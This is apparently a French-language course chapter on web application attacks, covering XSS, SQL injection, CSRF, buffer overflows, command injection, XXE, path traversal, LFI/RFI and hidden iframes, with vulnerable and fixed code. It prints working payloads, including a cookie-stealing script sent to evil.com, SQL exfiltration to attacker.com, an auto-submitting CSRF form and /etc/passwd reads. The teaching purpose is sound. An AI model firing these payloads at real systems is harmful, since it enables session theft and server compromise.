Attacking What We Do

🕸️ 17.1 — Cross-Site Scripting (XSS)

Le Cross-Site Scripting (XSS) est une vulnerabilite qui permet a un attaquant d'injecter du code JavaScript malveillant dans une page web vue par d'autres utilisateurs. C'est l'une des vulnerabilites web les plus repandues.

Les trois types de XSS

Super article !<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

https://shop.com/search?q=<script>alert('XSS')</script>

<p>Resultats pour : <script>alert('XSS')</script></p>

// Code vulnerable sur la page
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = 'Bienvenue ' + name;

https://site.com/page?name=<img src=x onerror=alert('XSS')>

Defenses contre le XSS

💉 17.2 — SQL Injection

L'injection SQL est une vulnerabilite qui permet a un attaquant d'inserer des commandes SQL malveillantes dans les requetes envoyees a la base de donnees d'une application. C'est l'une des attaques les plus destructrices.

Comment ca marche

Supposons un formulaire de login avec cette requete SQL cote serveur :

SELECT * FROM users WHERE username = 'INPUT_USER' AND password = 'INPUT_PASS'

Un utilisateur normal entre admin / monmotdepasse :

SELECT * FROM users WHERE username = 'admin' AND password = 'monmotdepasse'

Un attaquant entre ' OR '1'='1 comme nom d'utilisateur :

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

Comme '1'='1' est toujours vrai, la requete retourne tous les utilisateurs et l'attaquant est connecte.

Types d'injection SQL

' UNION SELECT username, password FROM users --

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --

' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 8 --

' AND IF(1=1, SLEEP(5), 0) --

' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share')) --

Defenses contre l'injection SQL

# VULNERABLE :
cursor.execute("SELECT * FROM users WHERE name = '" + user_input + "'")

# SECURISE (parameterized query) :
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

🔄 17.3 — Cross-Site Request Forgery (CSRF)

Le CSRF (prononce "sea-surf") est une attaque qui force un utilisateur authentifie a executer des actions non desirees sur une application web ou il est connecte.

Mecanisme de l'attaque

<img src="https://bank.com/transfer?to=attacker&amount=5000" />

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>

Defenses contre le CSRF

📚 17.4 — Buffer Overflow

Un buffer overflow (depassement de tampon) se produit quand un programme ecrit des donnees au-dela de la memoire allouee pour un buffer (tampon), ecrasant les donnees adjacentes en memoire.

Stack Overflow

Heap Overflow

Le heap overflow cible la memoire du tas (heap), allouee dynamiquement (malloc, new). Plus complexe a exploiter mais peut permettre l'execution de code arbitraire en ecrasant les metadonnees du heap ou des pointeurs de fonctions.

Exemple de code vulnerable (C)

#include <string.h>
void vulnerable(char *input) {
    char buffer[64];         // Buffer de 64 octets
    strcpy(buffer, input);   // VULNERABLE : pas de verification de taille !
    // Si input fait 200 octets, les 136 octets en trop
    // ecrasent EBP et l'adresse de retour
}

// Version securisee :
void secure(char *input) {
    char buffer[64];
    strncpy(buffer, input, sizeof(buffer) - 1);  // Limite la copie
    buffer[sizeof(buffer) - 1] = '\0';            // Terminaison null
}

Defenses contre le buffer overflow

⚡ 17.5 — Command Injection

L'injection de commandes OS permet a un attaquant d'executer des commandes systeme arbitraires sur le serveur via une application web vulnerable.

Exemple

Une application web permet de faire un ping vers une adresse IP :

# Code serveur vulnerable (Python)
import os
ip = request.GET['ip']
os.system("ping -c 4 " + ip)   # VULNERABLE !

# Entree normale : 192.168.1.1
# Commande executee : ping -c 4 192.168.1.1

# Entree malveillante : 192.168.1.1; cat /etc/passwd
# Commande executee : ping -c 4 192.168.1.1; cat /etc/passwd

Metacaracteres d'injection

Defenses

• Ne jamais passer d'entrees utilisateur a des commandes systeme
• Utiliser des API/bibliotheques au lieu d'appels systeme (ex : librairie de ping au lieu de os.system("ping"))
• Input validation stricte : whitelist de caracteres autorises
• Echappement des metacaracteres shell
• Principe du moindre privilege : l'application ne doit pas tourner en root
• Sandboxing : conteneurs, chroot, AppArmor, SELinux

🔧 17.6 — Autres attaques applicatives

// Requete LDAP normale :
(&(uid=admin)(password=secret))

// Injection : username = admin)(&)
// Requete resultante :
(&(uid=admin)(&))(password=anything))
// Le filtre (&) est toujours vrai, bypass du mot de passe

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>

// URL normale :
https://site.com/files?name=report.pdf

// Attaque :
https://site.com/files?name=../../../etc/passwd

// Le serveur execute : open("/var/www/files/../../../etc/passwd")

// URL : https://site.com/page?file=about.php
// Code PHP : include($_GET['file']);

// Attaque LFI :
https://site.com/page?file=../../../etc/passwd
// Inclut un fichier local du serveur

// Attaque RFI :
https://site.com/page?file=https://evil.com/shell.php
// Inclut un fichier distant heberge par l'attaquant

🏆 17.7 — OWASP Top 10

L'OWASP (Open Worldwide Application Security Project) publie un classement des 10 risques de securite les plus critiques pour les applications web. Ce classement est la reference mondiale pour la securite applicative.

🖼️ 17.8 — Attaques par iFrame et exploitation HTTP

Le protocole HTTP est la cible de nombreuses attaques qui exploitent les fonctionnalites legitimes des navigateurs web.

Attaques par iFrame malveillant

Un iFrame (inline frame) est un element HTML qui permet d'embarquer une page web a l'interieur d'une autre. Les attaquants injectent des iFrames invisibles dans des sites web legitimes compromis pour :

• Charger du malware : l'iFrame charge silencieusement une page malveillante qui exploite des vulnerabilites du navigateur
• Voler des credentials : un faux formulaire de login est affiche par-dessus le vrai
• Miner de la cryptomonnaie : l'iFrame charge un script de cryptojacking
• Rediriger vers des kits d'exploitation : l'utilisateur est redirige vers un serveur qui teste des exploits

<!-- iFrame invisible injecte dans un site legitime -->
<iframe src="http://malicious-server.com/exploit.html"
        width="0" height="0"
        style="display:none; visibility:hidden;">
</iframe>

<!-- L'utilisateur ne voit rien mais son navigateur -->
<!-- charge la page malveillante en arriere-plan -->

Autres attaques HTTP